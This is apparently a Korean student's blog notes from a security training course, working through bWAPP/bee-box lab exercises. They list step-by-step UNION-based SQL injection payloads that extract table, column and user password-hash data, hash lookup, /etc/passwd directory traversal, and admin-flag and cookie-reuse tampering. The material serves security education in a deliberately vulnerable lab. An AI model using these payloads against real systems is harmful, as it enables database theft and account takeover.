애플리케이션 보안

루키즈 교육 - 0908 학습

김띵똥 2022. 9. 8. 17:27

* Beebox 문제풀이 (beebox 열고 , beebox에 있는 ip주소 익스플로우/크롬에 열음 - 대소문자 상관없음)
1. Injection
/SQL Injection(GET/Search)/

* 모든 계정에 대한 ID와 PW를 알아내려면?
- DB이름, Table이름, Column이름을 알아내야함
- 영화 검색창에서 실행되는 SELECT문을 예상해야함


SELECT ?,?,? FROM ??? WHERE movie='                                 
SELECT ?,?,? FROM ??? WHERE movie='' UNION SELECT~~~"#;      // UNION을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황
SELECT ?,?,? FROM ??? WHERE movie=" UNION SELECT 1#';         // 1개가 아니면 Different Number of Columns 라고 나옴
SELECT ?,?,? FROM ??? WHERE movie=" UNION SELECT 1,2#;
SELECT ?,?,? FROM ??? WHERE movie=" UNION SELECT 1,2,3,4#';  // SELECT문이 실행됨 (앞에도 4개, 뒤에도 4개)

'union select 1,2,3,4,5#           //7개를 넣으면 정상 실행됨, 보려는 값들은 2,3,4,5에 넣어야함
'union select 1,2,3,4,5,6,7#      // 합집합 개념으로 man이 포함된 영화가 나오고, 우리가 요청한 컬럼도 나옴
thor' union select 1,2,3,4,5,6,7#  // thor라는 영화는 없으므로 Null상태, 우리가 요청한 컬럼이 나옴 
1' union select 1,2,3,4,5,6,7#
0' union select 1,2,3,4,5,6,7#   // 300이라는 영화가 있으며 300 영화랑 우리가 요청한 컬럼이 나옴
=> users라는 테이블이 있음! (개인정보가 가득 들어있음)

* DB명을 알아내려면?
(내부함수 : database ()는 DB명을 알려줌 , version()은 MySQL 버전을 알려줌 , user()는 사용자이름)
참고)버전을 알면, 해당 취약점을 찾을 수 있음 ( 취약점 분석은 버전을 알아내는 것)
1'union select 1,database(),version(),4,user(),6,7 #
=> DB명 : bWAPP

* 테이블명을 알아내려면?
(힌트 : 테이블에 대한 정보는 information_schema라는 데이터베이스 아래에 tables라는 테이블이 있음, 컬럼명은 table_name)
1' union select 1,table_name,3,4,5,6,7 FROM information_schema.tables #          //테이블이름이 너무 많이 나옴?
1' union select 1,table_name,3,4,5,6,7 FROM information_schema.tables WHERE table_schema='bWAPP'# (올려주신거 다시 확인해야댐)

* 컬럼명을 알아내려면?
(힌트 : 컬럼에 대한 정보는 information_schema라는 데이터베이스 아래에 columns라는 테이블에 있음, 컬럼명은 column_name)
답 : 1' union select 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' # (db가 많이나옴)
답 : 1' union select 1,column_name,3,4,5,6,7 FROM information_schema.columns WHERE table_schema='bWAPP' and table_name='users'#

* 실제 저런 구조인지 직접 mysql에서 확인
$ sudo ls (pw : bug)
$ sudo mysql -u root -p (pw :bug)
mysq> show databases; (보여줘라 데이터베이스를)
mysql>use bWAPP; (bWAPP이라는 DB를 사용하겠다는 의미)
mysql> show tables; (어떤 테이블이 있는지 확인)
mysql> desc users; (users 테이블에 어떤 컬럼이 있는지 확인)
mysql> select * from users; (users테이블의 내용을 확인)
mysql> select * from heroes; (히어로즈 테이블 확인)

mysql> use information_schema;
mysql> show tables;
mysql> desc tables; (내림차순 테이블?)
=> table_schema라는 컬럼과 table_name 이라는 컬럼이 있음
mysql> desc columns;
=> table_schema, table_name, column_name이라는 컬럼이 있음

참고) desc는 descend의 약자(뜻 : 하강하다)  <=> asc(ascend :상승하다)

* order by로 컬럼 개수 알아내기 by철민)
0'order by 1 #
0'order by 2 #
0'order by 3 #
0'order by 4 #
0'order by 8 # // 오류발생 => 7개구나

* 우리가 원하는 컬럼은??
id, login, password,secret

* 컬럼의 내용을 보려면??
1' union select 1,id,login,secret,password,6,7 from users #
=> password에 해시값으로 저장되어 있음
- 원래는 해시값을 가지고 원문(password)을 알수는 없음
- 해시값 계산해놓은 사이트 hashes.com 를 통해 해시값 저장가능 (해시값을 물어보면 원문 패스워드를 알려줌, salt없는것만됨)

6885858486f31043e5839c735d99457f045affd0 : bug
2891baceeef1652ee698294da0e71ba78a2a4064 : asd123

* 해시값인지는 어떻게 알았을까?
- a부터 f까지의 알파벳(g이후는 없음)과 0부터 9까지 숫자로 이루어져 있음 => hex-decimal(16진수)
- 16진수는 2의 4승이므로 4bit임(각자리가 4bit) => 40자리 * 4bit = 160bit => SHA-1의 해시값

* 왜 내가 만든 패스워드는 못찾을까?
- hases.com 에서 자주 사용하는 단어들에 대해서 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식
- 새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수 없는것

* Dictionary
- 자주사용하는 단어들을 모아놓은 파일
- 패스워드를 크래킹할 때 사용
참고) lcp에도 딕셔너리가 들어있음

* 해시함수
- MD5, SHA-1 : 안전하지 않음
- SHA-2(256bit) : bitcoin, 공동인증서 등
- SHA-2(512bit) : 리눅스 운영체제 등
- 해시값이 길수록 안전 => 경우의 수가 늘어나기 때문


* 정보보호의 3요소
- 기밀성 (Confidentiality) : 내용이 노출되지 않도록 하는것
- 무결성 (Integrity) : 내용이 변조되지 않도록 하는것
- 가용성 (Availability) : 항상 사용 가능한 상태를 유지하는것

* 일반기업(사기업)은 기밀성>무결성>가용성
ex) 설계도(제조사), 개인정보(쇼핑몰 등)

* 공공기관,공기업 가용성 > 무결성 > 기밀성
ex) 항만, 철도, 공항, 통신(전화,인터넷), 전력, 정부기관망 등등 => 전쟁을 전후로 사회 인프라를 공격하는 시도
=> 망분리(운용망과 인터넷 분리)

* 보안 개발 생명 주기
- Life Cycle : 너무 오래된 소프트웨어는 취약점도 많아지기 떄문에 노후화되면 폐기해야 함
- 6~7년 지나면 차세대 시스템 사업(교체)

실습) Beebox의 A4의 3번째
/Insecure DOR (Order Tickets)/
- 영화티켓 구매하는 페이지에서 영화티켓 하나에 15EUR(2만700원)
- 어떻게 하면 1EUR에 볼 수 있을까요?
1. F12(개발자 도구)를 활용하는 방법
- BurpSuite(proxy)를 이용하는 방법 : 인터넷 옵션 > 연결>LAN설정>프락시 서버(127.0.0.1:8080)

최근에는 CMS(Contents Management system)를 도입한 회사들이 많이 있음
=> 가격이 변조되지 않았는지, 비정상적으로 처리하지 않았는지 확인하는 시스템

* 구글에서 에러메시지 검색해보기
ora-00921 site:kr
ORA : 오라클 에러 메시지

* Beebox 실습 A7의 첫번쨰
/Directory Traversal - Directories/
- 디렉토리가 그대로 노출되고 있음
- 웹쉘을 업로드하고, 웹쉘 업로드한 경로를 찾기 어려울 때 디렉토리가 그대로 노출되면 쉽게 실행 가능
- /home/Wolverine 디렉토리에 있는 PDF파일은 몇개일까요?
=> URL Query에 디렉토리 경로를 입력함 ? directory=/home/wolverine/Examples

* Beebox 실습 A7의 두번쨰
/Directory Traversal - Files/
- 파일 내용이 그대로 노출됨
- /etc/passwd에 보면 eno의 UID는 무엇일까요?

http://192.168.50.131/bWAPP/directory_traversal_2.php?page=/etc/passwd

* 디렉토리가 노출되는 사이트 특징
index.of
parent directory
=> 검색어에 넣으면 디렉토리 노출되는 사이트를 보여줌

* 자산(Asset)에는 항상 약점(Weakness)이 있음
ex)금,은,다이아몬드,현금의 약점 : 누구껀지 이름이 안써있음, 쉽게 이동이 가능함
ex) 가로수 한그루에 50만원~500만원 :

* 약점(Weakness)
- 약점은 항상 존재함(없어지지 않음)
- 약점 번호체계 : CWE-nnnn

 

* 약점은 항상 존재함(없어지지않음)
- 약점중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(Vulnerability, Vulns)이라고함
- 취약점중에서도 특히 실제 공격이 가능하면 Exploit라고 함 (Exploit는 취약점을 공격한다는 의미)


* 취약점
- 약점중에서 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점이라고함
- 취약점중에서 특히 실제 공격이 가능하면 Exploit라고 함(익스플로잇은 취약점을 공격한다는 의미)
- 취약점 번호체계 : CVE-YYYY-NNNN

* Zeroday Exploit (제로데이 공격)
-  알려지지 않은 취약점(패치가 아직 없음, 제조사가 아직 모르는 상태)
- 무방비상태에서 공격을 하는 것
- 제조사가 패치를 만들기 전(PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않은것)
- 패치를 만드는데 걸리는 시간? / 20~50일  / PoC => 설계 => 개발 => 테스터
- 엠바고(뉴스에 내지 말라고 언론에 요청함)
- Dark Web에서 고액으로 거래가 되기도 함(iPhone > Windows >...)

- Oneday Exploit

- 알려진 취약점(패치 나와있음 , 설치 안하면 공격 가능)
- 패치가 있는데 왜 적용을 하지 않을까요? 의존성(Dependancy)문제 => OS 업데이트 하면 App이 잘 안돌아가는 문제
- 반도체 생산라인 OS를 업데이트?? 
Version : 3.2.8 (3:업그레이드, 2: 업데이트 , 8: 패치)

* Shodan

- IOT기기를 검색하는 검색엔진
=> 취약한 IOT기기를 검색하거나 ID/PW가 취약한 장치를 파악할 떄 사용
=> Shodan.io 사이트에 접근하지 못하도록 차단하는것이 좋다?

* Credential Stuffing(크리덴셜 스터핑)
- 취약한 사이트에서 ID/PW 목록을 알아냄
- 다른 사이트에 대입해보는 공격 방식
- 원인 : 대부분의 사람들이 여러사이트에 같은 ID/PW를 사용하기 때문
- 대응방법 : 강력한 보안 솔루션 사용(x) => 사용자들이 사이트마다 서로 다른 ID/PW를 사용해야함

* 인증(Authentication) / Beebox A2 세번째
/Broken Auth - Insecure Login Forms/
- ID와 pw를 찾으시오 (hint : Non-Sense)

* A2의 일곱번째
/Session Mgmt. - Administrative Portals/

1) Low
- URL의 Admin=0을 1로 변경
2) Medium
- 프록시 admin =1로 바꿈
- Edit Cookie에 있는 admin을 0에서 1로 변경
- Proxy에서도 수정이 가능

* A7의 첫번째
/Base64 Encoding (Secret)/
1) Low
- 쿠키에 숨어있는 Secret의 내용은?
QW55IGJ1Z3M%2F => UTF8 => QW55IGJ1Z3M / Base64 디코딩 => any bugs?( 해시 변환)

2) Medium
- 쿠키에 숨어있는 Secret의 내용은?
83785efbbef1b4cdf3260c5e6505f7d2261f738d => hases.com/

3) 로그아웃하고, blackpink/icecream으로 로그인
같은 문제를 다시 풀면?
6a3f4389a53c889b~~ 적어야됌

* Beebox 실습 A2
Broken Auth - Logout Management

1) Low
로그아웃한 이후에 쿠키를 재사용해보기 (쿠키 재사용 공격)
- 로그아웃하기 전에 쿠키값을 보갓
- 로그아웃 클릭
- 쿠키를 임의의 값으로 교체하고 저장
- login.php를 지우고 엔터 => 로그인 하라고 나옴
- 쿠기값을 다시 입력하고 첫페이지 클릭하면 Welcome Blackpink가 라고 나옴 => 쿠키값을 지워야하는데 재사용하고 있음

'애플리케이션 보안' 카테고리의 다른 글

루키즈 교육 - 0914 학습  (0) 2022.09.14
루키즈 교육 - 0913 학습  (0) 2022.09.13
루키즈 교육 - 0906 학습  (0) 2022.09.06
루키즈 교육 - 0905 학습  (0) 2022.09.05
루키즈 교육 - 0902 학습  (1) 2022.09.02